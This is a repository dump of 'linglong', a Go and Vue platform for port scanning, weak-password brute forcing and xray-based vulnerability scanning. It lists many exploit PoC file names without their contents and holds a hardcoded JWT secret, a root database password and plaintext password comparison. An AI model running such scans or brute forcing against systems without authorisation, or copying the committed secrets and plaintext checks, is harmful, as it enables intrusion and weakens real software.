├── .gitignore
├── Dockerfile
├── README.md
├── config.yaml
├── configs
├── config.yaml
├── ip.txt
├── pass.txt
└── user.txt
├── docker-compose.yml
├── global
└── setting.go
├── go.mod
├── go.sum
├── img
├── ChangeLog.md
├── Finger.md
├── addtask.png
├── docker.png
├── docker2.png
├── finger.gif
├── index.gif
├── ip.png
├── login.png
├── setting.gif
├── task-de.png
├── task.gif
├── xray-poc.png
└── xray.png
├── linglong
├── main.go
├── middleware
└── jwt
│ └── jwt.go
├── models
├── Iplist.go
├── auth.go
├── finger.go
├── log.go
├── models.go
├── portbrute.go
├── setting.go
├── task.go
├── tasklog.go
├── webloginlist.go
└── xrayres.go
├── mysql
├── Dockerfile
├── init.sql
└── my.cnf
├── pkg
├── brute
│ └── brute.go
├── common
│ ├── common.go
│ ├── file.go
│ └── var.go
├── e
│ ├── code.go
│ └── msg.go
├── jobs
│ ├── cron.go
│ ├── init.go
│ └── job.go
├── plugins
│ ├── ftp.go
│ ├── mongodb.go
│ ├── mssql.go
│ ├── mysql.go
│ ├── plugins.go
│ ├── postgres.go
│ ├── redis.go
│ ├── smb.go
│ └── ssh.go
├── pocs
│ ├── activemq-cve-2016-3088.yml
│ ├── activemq-default-password.yml
│ ├── airflow-unauth.yml
│ ├── alibaba-nacos-v1-auth-bypass.yml
│ ├── apache-flink-upload-rce.yml
│ ├── apache-kylin-unauth-cve-2020-13937.yml
│ ├── apache-ofbiz-cve-2018-8033-xxe.yml
│ ├── apache-ofbiz-cve-2020-9496-xml-deserialization.yml
│ ├── aspcms-backend-leak.yml
│ ├── bash-cve-2014-6271.yml
│ ├── bt742-pma-unauthorized-access.yml
│ ├── cacti-weathermap-file-write.yml
│ ├── chinaunicom-modem-default-password.yml
│ ├── cisco-cve-2020-3452-readfile.yml
│ ├── citrix-cve-2019-19781-path-traversal.yml
│ ├── citrix-cve-2020-8191-xss.yml
│ ├── citrix-cve-2020-8193-unauthorized.yml
│ ├── citrix-xenmobile-cve-2020-8209.yml
│ ├── coldfusion-cve-2010-2861-lfi.yml
│ ├── confluence-cve-2015-8399.yml
│ ├── confluence-cve-2019-3396-lfi.yml
│ ├── consul-rexec-rce.yml
│ ├── consul-service-rce.yml
│ ├── coremail-cnvd-2019-16798.yml
│ ├── couchcms-cve-2018-7662.yml
│ ├── couchdb-cve-2017-12635.yml
│ ├── couchdb-unauth.yml
│ ├── craftcms-seomatic-cve-2020-9757-rce.yml
│ ├── dedecms-carbuyaction-fileinclude.yml
│ ├── dedecms-cve-2018-6910.yml
│ ├── dedecms-cve-2018-7700-rce.yml
│ ├── dedecms-guestbook-sqli.yml
│ ├── dedecms-membergroup-sqli.yml
│ ├── dedecms-url-redirection.yml
│ ├── discuz-ml3x-cnvd-2019-22239.yml
│ ├── discuz-v72-sqli.yml
│ ├── discuz-wechat-plugins-unauth.yml
│ ├── discuz-wooyun-2010-080723.yml
│ ├── dlink-850l-info-leak.yml
│ ├── dlink-cve-2019-16920-rce.yml
│ ├── dlink-cve-2019-17506.yml
│ ├── dlink-cve-2020-9376-dump-credentials.yml
│ ├── dlink-dsl-2888a-rce.yml
│ ├── docker-api-unauthorized-rce.yml
│ ├── docker-registry-api-unauth.yml
│ ├── dotnetcms-sqli.yml
│ ├── draytek-cve-2020-8515.yml
│ ├── druid-monitor-unauth.yml
│ ├── drupal-cve-2014-3704-sqli.yml
│ ├── drupal-cve-2018-7600-rce.yml
│ ├── drupal-cve-2019-6340.yml
│ ├── duomicms-sqli.yml
│ ├── dvr-cve-2018-9995.yml
│ ├── ecology-filedownload-directory-traversal.yml
│ ├── ecology-javabeanshell-rce.yml
│ ├── ecology-springframework-directory-traversal.yml
│ ├── ecology-syncuserinfo-sqli.yml
│ ├── ecology-validate-sqli.yml
│ ├── ecology-workflowcentertreedata-sqli.yml
│ ├── ecshop-cnvd-2020-58823-sqli.yml
│ ├── ecshop-rce.yml
│ ├── elasticsearch-cve-2014-3120.yml
│ ├── elasticsearch-cve-2015-1427.yml
│ ├── elasticsearch-cve-2015-3337-lfi.yml
│ ├── elasticsearch-unauth.yml
│ ├── etcd-unauth.yml
│ ├── etouch-v2-sqli.yml
│ ├── f5-tmui-cve-2020-5902-rce.yml
│ ├── fangweicms-sqli.yml
│ ├── feifeicms-lfr.yml
│ ├── finecms-sqli.yml
│ ├── finereport-directory-traversal.yml
│ ├── flexpaper-cve-2018-11686.yml
│ ├── flink-jobmanager-cve-2020-17519-lfi.yml
│ ├── fortigate-cve-2018-13379-readfile.yml
│ ├── frp-dashboard-unauth.yml
│ ├── gilacms-cve-2020-5515.yml
│ ├── glassfish-cve-2017-1000028-lfi.yml
│ ├── go-pprof-leak.yml
│ ├── h2-database-web-console-unauthorized-access.yml
│ ├── hadoop-yarn-unauth.yml
│ ├── harbor-cve-2019-16097.yml
│ ├── hikvision-cve-2017-7921.yml
│ ├── ifw8-router-cve-2019-16313.yml
│ ├── influxdb-unauth.yml
│ ├── jboss-cve-2010-1871.yml
│ ├── jboss-unauth.yml
│ ├── jenkins-cve-2018-1000600.yml
│ ├── jenkins-cve-2018-1000861-rce.yml
│ ├── jenkins-unauthorized-access.yml
│ ├── jira-cve-2019-11581.yml
│ ├── jira-cve-2019-8442.yml
│ ├── jira-cve-2019-8449.yml
│ ├── jira-cve-2020-14179.yml
│ ├── jira-cve-2020-14181.yml
│ ├── jira-ssrf-cve-2019-8451.yml
│ ├── joomla-cnvd-2019-34135-rce.yml
│ ├── joomla-component-vreview-sql.yml
│ ├── joomla-cve-2015-7297-sqli.yml
│ ├── joomla-cve-2017-8917-sqli.yml
│ ├── joomla-cve-2018-7314-sql.yml
│ ├── joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml
│ ├── jumpserver-unauth-rce.yml
│ ├── jupyter-notebook-unauthorized-access.yml
│ ├── kafka-manager-unauth.yml
│ ├── kibana-cve-2018-17246.yml
│ ├── kibana-unauth.yml
│ ├── kong-cve-2020-11710-unauth.yml
│ ├── lanproxy-cve-2021-3019-lfi.yml
│ ├── laravel-debug-info-leak.yml
│ ├── laravel-improper-webdir.yml
│ ├── maccms-rce.yml
│ ├── maccmsv10-backdoor.yml
│ ├── metinfo-cve-2019-16996-sqli.yml
│ ├── metinfo-cve-2019-16997-sqli.yml
│ ├── metinfo-cve-2019-17418-sqli.yml
│ ├── metinfo-lfi-cnvd-2018-13393.yml
│ ├── minio-default-password.yml
│ ├── mongo-express-cve-2019-10758.yml
│ ├── msvod-sqli.yml
│ ├── myucms-lfr.yml
│ ├── nagio-cve-2018-10735.yml
│ ├── nagio-cve-2018-10736.yml
│ ├── nagio-cve-2018-10737.yml
│ ├── nagio-cve-2018-10738.yml
│ ├── netgear-cve-2017-5521.yml
│ ├── nextjs-cve-2017-16877.yml
│ ├── nexus-cve-2019-7238.yml
│ ├── nexus-cve-2020-10199.yml
│ ├── nexus-cve-2020-10204.yml
│ ├── nexus-default-password.yml
│ ├── nexusdb-cve-2020-24571-path-traversal.yml
│ ├── nhttpd-cve-2019-16278.yml
│ ├── nps-default-password.yml
│ ├── nsfocus-uts-password-leak.yml
│ ├── nuuo-file-inclusion.yml
│ ├── openfire-cve-2019-18394-ssrf.yml
│ ├── opentsdb-cve-2020-35476-rce.yml
│ ├── pandorafms-cve-2019-20224-rce.yml
│ ├── php-cgi-cve-2012-1823.yml
│ ├── phpcms-cve-2018-19127.yml
│ ├── phpmyadmin-cve-2018-12613-file-inclusion.yml
│ ├── phpmyadmin-setup-deserialization.yml
│ ├── phpok-sqli.yml
│ ├── phpshe-sqli.yml
│ ├── phpstudy-backdoor-rce.yml
│ ├── phpstudy-nginx-wrong-resolve.yml
│ ├── phpunit-cve-2017-9841-rce.yml
│ ├── powercreator-arbitrary-file-upload.yml
│ ├── pulse-cve-2019-11510.yml
│ ├── pyspider-unauthorized-access.yml
│ ├── qibocms-sqli.yml
│ ├── qnap-cve-2019-7192.yml
│ ├── rails-cve-2018-3760-rce.yml
│ ├── razor-cve-2018-8770.yml
│ ├── rconfig-cve-2019-16663.yml
│ ├── resin-cnnvd-200705-315.yml
│ ├── resin-inputfile-fileread-or-ssrf.yml
│ ├── resin-viewfile-fileread.yml
│ ├── ruijie-eg-rce.yml
│ ├── saltstack-cve-2020-16846.yml
│ ├── samsung-wea453e-default-pwd.yml
│ ├── samsung-wea453e-rce.yml
│ ├── sangfor-edr-arbitrary-admin-login.yml
│ ├── sangfor-edr-cssp-rce.yml
│ ├── sangfor-edr-tool-rce.yml
│ ├── satellian-cve-2020-7980-rce.yml
│ ├── seacms-before-v992-rce.yml
│ ├── seacms-rce.yml
│ ├── seacms-sqli.yml
│ ├── seacms-v654-rce.yml
│ ├── seacmsv645-command-exec.yml
│ ├── seeyon-ajax-unauthorized-access.yml
│ ├── seeyon-cnvd-2020-62422-readfile.yml
│ ├── seeyon-wooyun-2015-0108235-sqli.yml
│ ├── seeyon-wooyun-2015-148227.yml
│ ├── solarwinds-cve-2020-10148.yml
│ ├── solr-cve-2017-12629-xxe.yml
│ ├── solr-cve-2019-0193.yml
│ ├── solr-velocity-template-rce.yml
│ ├── sonarqube-cve-2020-27986-unauth.yml
│ ├── sonicwall-ssl-vpn-rce.yml
│ ├── spark-api-unauth.yml
│ ├── spark-webui-unauth.yml
│ ├── spring-cloud-cve-2020-5405.yml
│ ├── spring-cloud-cve-2020-5410.yml
│ ├── spring-cve-2016-4977.yml
│ ├── springboot-env-unauth.yml
│ ├── springcloud-cve-2019-3799.yml
│ ├── supervisord-cve-2017-11610.yml
│ ├── tensorboard-unauth.yml
│ ├── terramaster-cve-2020-15568.yml
│ ├── terramaster-cve-2020-28188-rce.yml
│ ├── thinkadmin-v6-readfile.yml
│ ├── thinkcmf-lfi.yml
│ ├── thinkcmf-write-shell.yml
│ ├── thinkphp-v6-file-write.yml
│ ├── thinkphp5-controller-rce.yml
│ ├── thinkphp5023-method-rce.yml
│ ├── tomcat-cve-2017-12615-rce.yml
│ ├── tomcat-cve-2018-11759.yml
│ ├── tongda-meeting-unauthorized-access.yml
│ ├── tpshop-sqli.yml
│ ├── typecho-rce.yml
│ ├── ueditor-cnvd-2017-20077-file-upload.yml
│ ├── uwsgi-cve-2018-7490.yml
│ ├── vbulletin-cve-2019-16759-bypass.yml
│ ├── vbulletin-cve-2019-16759.yml
│ ├── vmware-vcenter-arbitrary-file-read.yml
│ ├── weaver-ebridge-file-read.yml
│ ├── weblogic-cve-2017-10271.yml
│ ├── weblogic-cve-2019-2725.yml
│ ├── weblogic-cve-2019-2729-1.yml
│ ├── weblogic-cve-2019-2729-2.yml
│ ├── weblogic-cve-2020-14750.yml
│ ├── weblogic-ssrf.yml
│ ├── webmin-cve-2019-15107-rce.yml
│ ├── wordpress-cve-2019-19985-infoleak.yml
│ ├── wordpress-ext-adaptive-images-lfi.yml
│ ├── wordpress-ext-mailpress-rce.yml
│ ├── wuzhicms-v410-sqli.yml
│ ├── xiuno-bbs-cvnd-2019-01348-reinstallation.yml
│ ├── xunchi-cnvd-2020-23735-file-read.yml
│ ├── yccms-rce.yml
│ ├── yonyou-grp-u8-sqli-to-rce.yml
│ ├── yonyou-grp-u8-sqli.yml
│ ├── yonyou-nc-arbitrary-file-upload.yml
│ ├── youphptube-encoder-cve-2019-5127.yml
│ ├── youphptube-encoder-cve-2019-5128.yml
│ ├── youphptube-encoder-cve-2019-5129.yml
│ ├── yungoucms-sqli.yml
│ ├── zabbix-authentication-bypass.yml
│ ├── zabbix-cve-2016-10134-sqli.yml
│ ├── zcms-v3-sqli.yml
│ ├── zeit-nodejs-cve-2020-5284-directory-traversal.yml
│ ├── zeroshell-cve-2019-12725-rce.yml
│ ├── zimbra-cve-2019-9670-xxe.yml
│ └── zzcms-zsmanage-sqli.yml
├── setting
│ ├── section.go
│ └── setting.go
├── third
│ └── xray_linux_amd64
├── utils.go
└── utils
│ ├── jwt.go
│ └── pagination.go
├── routers
├── api
│ ├── auth.go
│ └── v1
│ │ ├── Iplist.go
│ │ ├── alyaze
│ │ ├── jobdesc.go
│ │ ├── wappalyze.go
│ │ └── webanalyze.go
│ │ ├── finger.go
│ │ ├── log.go
│ │ ├── portbrute.go
│ │ ├── setting.go
│ │ ├── task.go
│ │ ├── tasklog.go
│ │ ├── webloginlist.go
│ │ └── xrayres.go
├── router.go
└── tools
│ ├── masscan
│ └── masscan.go
│ └── nmap
│ └── nmap.go
├── web
├── .env
├── Dockerfile
├── babel.config.js
├── dist
│ ├── 12.png
│ ├── css
│ │ ├── app.3d466215.css
│ │ └── chunk-vendors.2ac5db4b.css
│ ├── favicon.ico
│ ├── fonts
│ │ ├── element-icons.535877f5.woff
│ │ └── element-icons.732389de.ttf
│ ├── img
│ │ ├── all.ba8c4734.png
│ │ ├── bg.8e171a3c.png
│ │ ├── iconfont.82d03b7e.svg
│ │ ├── ipall.777d2626.png
│ │ └── logo.46db48c9.png
│ ├── index.html
│ └── js
│ │ ├── app.4dccb236.js
│ │ ├── app.4dccb236.js.map
│ │ ├── chunk-vendors.cc02a279.js
│ │ └── chunk-vendors.cc02a279.js.map
├── nginx.conf
├── package-lock.json
├── package.json
├── public
│ ├── 12.png
│ ├── favicon.ico
│ └── index.html
├── server-config.js
├── src
│ ├── App.vue
│ ├── assets
│ │ ├── all.png
│ │ ├── css
│ │ │ └── global.css
│ │ ├── fonts
│ │ │ ├── demo.css
│ │ │ ├── demo_fontclass.html
│ │ │ ├── demo_symbol.html
│ │ │ ├── demo_unicode.html
│ │ │ ├── iconfont.css
│ │ │ ├── iconfont.eot
│ │ │ ├── iconfont.js
│ │ │ ├── iconfont.svg
│ │ │ ├── iconfont.ttf
│ │ │ └── iconfont.woff
│ │ ├── img
│ │ │ ├── bg.png
│ │ │ └── btn.png
│ │ ├── ipall.png
│ │ ├── login.png
│ │ ├── logo.png
│ │ └── vuln.png
│ ├── components
│ │ ├── HelloWorld.vue
│ │ ├── Home.vue
│ │ ├── Login.vue
│ │ ├── Welcome.vue
│ │ ├── finger
│ │ │ └── finger.vue
│ │ ├── jobips
│ │ │ └── Jobips.vue
│ │ ├── log
│ │ │ └── Log.vue
│ │ ├── modpass
│ │ │ └── Modpass.vue
│ │ ├── setting
│ │ │ └── Setting.vue
│ │ ├── task
│ │ │ ├── Task.vue
│ │ │ └── Tasklog.vue
│ │ ├── webloginlist
│ │ │ └── Webloginlist.vue
│ │ └── xrayres
│ │ │ └── Xrayres.vue
│ ├── main.js
│ ├── plugins
│ │ └── element.js
│ ├── router
│ │ └── index.js
│ └── views
│ │ ├── About.vue
│ │ └── Home.vue
└── vue.config.js
└── 漏洞报告.xlsx
/.gitignore:
--------------------------------------------------------------------------------
1 | # local env files
2 | .env.local
3 | .env.*.local
4 |
5 | .codelog
6 | /web/node_modules/
7 | /pkg/third/xray_darwin_amd64
8 | /img/linglong-21-02-22(compose版).zip
9 |
10 | # Editor directories and files
11 | .idea
12 | .vscode
13 | *.suo
14 | *.ntvs*
15 | *.njsproj
16 | *.sln
17 | *.sw
18 |
19 | i# General
20 | .DS_Store
21 | .AppleDouble
22 | .LSOverride
23 |
24 | # Icon must end with two \r
25 | Icon
26 |
27 | # Thumbnails
28 | ._*
29 |
30 | # Files that might appear in the root of a volume
31 | .DocumentRevisions-V100
32 | .fseventsd
33 | .Spotlight-V100
34 | .TemporaryItems
35 | .Trashes
36 | .VolumeIcon.icns
37 | .com.apple.timemachine.donotpresent
38 |
39 | # Directories potentially created on remote AFP share
40 | .AppleDB
41 | .AppleDesktop
42 | Network Trash Folder
43 | Temporary Items
44 | .apdisk
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | MAINTAINER drunk_kk
4 |
5 | ENV LC_ALL C.UTF-8
6 | ENV TZ=Asia/Shanghai
7 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
8 |
9 | RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
10 |
11 | RUN set -x \
12 | && apt-get clean \
13 | && apt-get update -y \
14 | && apt-get install -y nmap masscan
15 |
16 | WORKDIR /build
17 |
18 | ENV GO111MODULE=on \
19 | CGO_ENABLED=0 \
20 | GOOS=linux \
21 | GOARCH=amd64
22 |
23 | COPY . .
24 |
25 | EXPOSE 18000
26 |
27 | CMD ["./linglong"]
28 |
29 |
--------------------------------------------------------------------------------
/configs/config.yaml:
--------------------------------------------------------------------------------
1 | Server:
2 | RunMode: debug
3 | HttpPort: 18000
4 | ReadTimeout: 60
5 | WriteTimeout: 60
6 | App:
7 | DefaultPageSize: 10
8 | MaxPageSize: 100
9 | DefaultContextTimeout: 60
10 | JwtSecret: fas65fd4541e352231a#D12
11 | PortUserDict: ./configs/user.txt
12 | PortPassDict: ./configs/pass.txt
13 | Database:
14 | DBType: mysql
15 | UserName: root
16 | Password: linglong8s
17 | Host: mysql
18 | # Host: 127.0.0.1:3306
19 | DBName: linglong
20 | TablePrefix:
21 | Charset: utf8
22 | ParseTime: True
23 | MaxIdleConns: 10
24 | MaxOpenConns: 30
25 |
--------------------------------------------------------------------------------
/configs/ip.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/configs/ip.txt
--------------------------------------------------------------------------------
/configs/user.txt:
--------------------------------------------------------------------------------
1 | root
2 |
--------------------------------------------------------------------------------
/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | mysql:
4 | build: ./mysql
5 | environment:
6 | - TZ=Asia/Shanghai
7 | - MYSQL_DATABASE=linglong
8 | - MYSQL_ROOT_PASSWORD=linglong8s
9 | ports:
10 | - "3305:3306"
11 | restart: always
12 | command: [
13 | '--character-set-server=utf8mb4',
14 | '--collation-server=utf8mb4_unicode_ci',
15 | ]
16 | server:
17 | container_name: 'linglong-server'
18 | build: .
19 | ports:
20 | - "18000:18000"
21 | links:
22 | - mysql:mysql
23 | depends_on:
24 | - mysql
25 | restart: always
26 | environment:
27 | - TZ=Asia/Shanghai
28 | web:
29 | container_name: 'linglong-web'
30 | restart: always
31 | build: ./web
32 | ports:
33 | - 8001:8001
34 | # volumes:
35 | # - ./nginx.conf:/etc/nginx/nginx.conf
36 | depends_on:
37 | - server
38 |
--------------------------------------------------------------------------------
/global/setting.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import "linglong/pkg/setting"
4 |
5 | var (
6 | ServerSetting *setting.ServerSettingS
7 | AppSetting *setting.AppSettingS
8 | DatabaseSetting *setting.DatabaseSettingS
9 | MasscanSetting *setting.MasscanSettingS
10 | )
11 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module linglong
2 |
3 | go 1.14
4 |
5 | require (
6 | github.com/360EntSecGroup-Skylar/excelize v1.4.1
7 | github.com/PuerkitoBio/goquery v1.5.1
8 | github.com/Ullaakut/nmap v2.0.0+incompatible
9 | github.com/astaxie/beego v1.12.2
10 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394
11 | github.com/bobesa/go-domain-util v0.0.0-20190911083921-4033b5f7dd89
12 | github.com/denisenkom/go-mssqldb v0.0.0-20191124224453-732737034ffd
13 | github.com/dgrijalva/jwt-go v3.2.0+incompatible
14 | github.com/fatih/color v1.7.0
15 | github.com/fvbock/endless v0.0.0-20170109170031-447134032cb6
16 | github.com/gin-gonic/gin v1.6.3
17 | github.com/go-redis/redis v6.14.2+incompatible
18 | github.com/gogf/gf v1.13.3
19 | github.com/jinzhu/gorm v1.9.16
20 | github.com/jlaffaye/ftp v0.0.0-20200812143550-39e3779af0db
21 | github.com/jteeuwen/go-bindata v3.0.7+incompatible // indirect
22 | github.com/lib/pq v1.1.1
23 | github.com/lisijie/cron v0.0.0-20151225081149-1c5ac61b9f22
24 | github.com/malfunkt/iprange v0.9.0
25 | github.com/mattn/go-colorable v0.1.7 // indirect
26 | github.com/netxfly/mysql v1.0.3
27 | github.com/robfig/cron/v3 v3.0.0
28 | github.com/spf13/viper v1.7.1
29 | github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
30 | github.com/unknwon/com v1.0.1
31 | golang.org/x/crypto v0.0.0-20191205180655-e7c4368fe9dd
32 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22
33 | )
34 |
--------------------------------------------------------------------------------
/img/ChangeLog.md:
--------------------------------------------------------------------------------
1 |
2 | > 记录一些更新日志
3 |
4 | - [x] [2021-0210] 指纹资产管理、增删改查
5 | - [x] [2021-0210] 优化资产的查询方式
6 | - [x] [2021-0213] 发现资产POC自动扫描、扫描结果界面查看、删除
7 | - [x] [2021-0214] 密码修改功能,关闭Xray-server-error
8 | - [x] [2021-0215] Docker折腾了好久
9 | - [x] [2021-0225] 更新docker-compose的部署方式
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/img/Finger.md:
--------------------------------------------------------------------------------
1 |
2 | > 指纹是Json格式,如下指纹案例
3 |
4 | ```json
5 | "Shiro": {
6 | "cookies": {
7 | "rememberMe": ""
8 | }
9 | }
10 | ```
11 |
12 | ```json
13 | "PHPMyAdmin": {
14 | "html": "
phpMyAdmin ",
15 | "html": "/themes/pmahomme/img/logo_right.png"
16 | }
17 | ```
18 |
19 | ```json
20 | "Kibana": {
21 | "headers": {
22 | "kbn-name": "kibana",
23 | "kbn-version": "^([\\d.]+)$\\;version:\\1"
24 | },
25 | "html": "Kibana"
26 | }
27 | ```
28 |
29 |
30 | | 参数 | 说明 |
31 | | :-------------------- | :----------------------------------------------------------- |
32 | | html | 正则匹配网页的html |
33 | | headers | 正则匹配网页的headers |
34 | | cookies | 正则匹配网页的cookies |
35 |
--------------------------------------------------------------------------------
/img/addtask.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/addtask.png
--------------------------------------------------------------------------------
/img/docker.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/docker.png
--------------------------------------------------------------------------------
/img/docker2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/docker2.png
--------------------------------------------------------------------------------
/img/finger.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/finger.gif
--------------------------------------------------------------------------------
/img/index.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/index.gif
--------------------------------------------------------------------------------
/img/ip.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/ip.png
--------------------------------------------------------------------------------
/img/login.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/login.png
--------------------------------------------------------------------------------
/img/setting.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/setting.gif
--------------------------------------------------------------------------------
/img/task-de.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/task-de.png
--------------------------------------------------------------------------------
/img/task.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/task.gif
--------------------------------------------------------------------------------
/img/xray-poc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/xray-poc.png
--------------------------------------------------------------------------------
/img/xray.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/img/xray.png
--------------------------------------------------------------------------------
/linglong:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/awake1t/linglong/bedbe49597412abab1c1635e133957d782e65325/linglong
--------------------------------------------------------------------------------
/middleware/jwt/jwt.go:
--------------------------------------------------------------------------------
1 | package jwt
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | "linglong/pkg/e"
6 | "linglong/pkg/utils"
7 | "net/http"
8 | "time"
9 | )
10 |
11 | func JWT() gin.HandlerFunc {
12 | return func(c *gin.Context) {
13 | var code int
14 | var data interface{}
15 |
16 | code = e.SUCCESS
17 | token := c.GetHeader("Authorization")
18 |
19 | if token == "" {
20 | code = e.INVALID_PARAMS
21 | } else {
22 | claims, err := utils.ParseToken(token)
23 | if claims == nil{
24 | c.JSON(http.StatusUnauthorized, gin.H{
25 | "code" : 401,
26 | "msg" : "cookie失效,请点击右上角退出重新登陆",
27 | "data" : data,
28 | })
29 | c.Abort()
30 | return
31 | }
32 | if err != nil {
33 | code = e.ERROR
34 | } else if time.Now().Unix() > claims.ExpiresAt {
35 | code =e.ERROR
36 | }
37 | }
38 |
39 | if code != e.SUCCESS {
40 | c.JSON(http.StatusUnauthorized, gin.H{
41 | "code" : code,
42 | "msg" : e.GetMsg(code),
43 | "data" : data,
44 | })
45 |
46 | c.Abort()
47 | return
48 | }
49 |
50 | c.Next()
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/models/auth.go:
--------------------------------------------------------------------------------
1 | package models
2 |
3 | type Auth struct {
4 | ID int `gorm:"primary_key" json:"id"`
5 | Username string `json:"username"`
6 | Password string `json:"password"`
7 | }
8 |
9 | func CheckAuth(username, password string) bool {
10 | var auth Auth
11 | db.Select("id").Where(Auth{Username: username, Password: password}).First(&auth)
12 | if auth.ID > 0 {
13 | return true
14 | }
15 |
16 | return false
17 | }
18 |
19 | func EditAuth(name string,data interface{}) bool {
20 | db.Model(&Auth{}).Where("username = ? ",name).Updates(data)
21 | return true
22 | }
23 |
--------------------------------------------------------------------------------
/models/models.go:
--------------------------------------------------------------------------------
1 | package models
2 |
3 | import (
4 | "fmt"
5 | "linglong/global"
6 | "log"
7 | "github.com/jinzhu/gorm"
8 | _ "github.com/jinzhu/gorm/dialects/mysql"
9 | )
10 |
11 | var db *gorm.DB
12 |
13 | type Model struct {
14 | ID int `gorm:"primary_key" json:"id"`
15 | }
16 |
17 |
18 | func Setup() {
19 | var err error
20 | db, err = gorm.Open(global.DatabaseSetting.DBType, fmt.Sprintf("%s:%s@tcp(%s)/%s?charset=utf8&parseTime=True&loc=Local",
21 | global.DatabaseSetting.UserName,
22 | global.DatabaseSetting.Password,
23 | global.DatabaseSetting.Host,
24 | global.DatabaseSetting.DBName))
25 |
26 | if err != nil {
27 | log.Fatalf("models.Setup err: %v", err)
28 | }
29 |
30 | gorm.DefaultTableNameHandler = func(db *gorm.DB, defaultTableName string) string {
31 | return global.DatabaseSetting.TablePrefix + defaultTableName
32 | }
33 |
34 | db.SingularTable(true)
35 | db.LogMode(true)
36 | }
37 |
--------------------------------------------------------------------------------
/models/setting.go:
--------------------------------------------------------------------------------
1 | package models
2 |
3 | type Setting struct {
4 | *Model
5 | Ip string `json:"ip"`
6 | LoginWord string `json:"login_word"`
7 | LoginUrl string `json:"login_url"`
8 | MasscanThred int `json:"masscan_thred"`
9 | MasscanDeltime int `json:"masscan_deltime"`
10 | MasscanIp string `json:"masscan_ip"`
11 | MasscanPort string `json:"masscan_port"`
12 | MasscanWhite string `json:"masscan_white"`
13 | CreatedTime string `json:"created_time"`
14 | UpdatedTime string `json:"updated_time"`
15 | }
16 |
17 | func GetSetting(pageNum int, pageSize int, maps interface{}) (setting []Setting) {
18 | db.Where(maps).First(&setting)
19 | return
20 | }
21 |
22 | func GetSettingTotal(maps interface{}) (count int) {
23 | db.Model(&Setting{}).Where(maps).Count(&count)
24 | return
25 | }
26 |
27 | func EditSetting(data interface{}) bool {
28 | db.Model(&Setting{}).Updates(data)
29 | return true
30 | }
31 |
32 | //根据条件获取全部资产爆破
33 | func GetSettingTitle() (setting []Setting) {
34 | db.First(&setting)
35 | return
36 | }
37 |
--------------------------------------------------------------------------------
/mysql/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM mysql:5.7
2 | COPY ./init.sql /docker-entrypoint-initdb.d
--------------------------------------------------------------------------------
/mysql/my.cnf:
--------------------------------------------------------------------------------
1 | [mysqld]
2 | user=mysql
3 | default-storage-engine=INNODB
4 | character-set-server=utf8
5 | [client]
6 | default-character-set=utf8
7 | [mysql]
8 | default-character-set=utf8
9 |
--------------------------------------------------------------------------------
/pkg/common/var.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "linglong/models"
5 | "strings"
6 | "sync"
7 | )
8 |
9 | var (
10 | Mutex sync.Mutex
11 |
12 | PortNames = map[int]string{
13 | 21: "FTP",
14 | 22: "SSH",
15 | 161: "SNMP",
16 | 445: "SMB",
17 | 1433: "MSSQL",
18 | 3306: "MYSQL",
19 | 5432: "POSTGRESQL",
20 | 6379: "REDIS",
21 | 9200: "ELASTICSEARCH",
22 | 27017: "MONGODB",
23 | }
24 |
25 | SupportProtocols map[string]bool
26 |
27 | BruteResult map[string]models.Service
28 | )
29 |
30 | func init() {
31 |
32 | BruteResult = make(map[string]models.Service)
33 |
34 | SupportProtocols = make(map[string]bool)
35 | for _, proto := range PortNames {
36 | SupportProtocols[strings.ToUpper(proto)] = true
37 | }
38 |
39 | }
40 |
--------------------------------------------------------------------------------
/pkg/e/code.go:
--------------------------------------------------------------------------------
1 | package e
2 |
3 | const (
4 | SUCCESS = 200
5 | ERROR = 500
6 | INVALID_PARAMS = 400
7 | INVALID_PASS = 402
8 | INVALID_FINGER = 405
9 |
10 | INVALID_DIFFPASS = 403
11 |
12 |
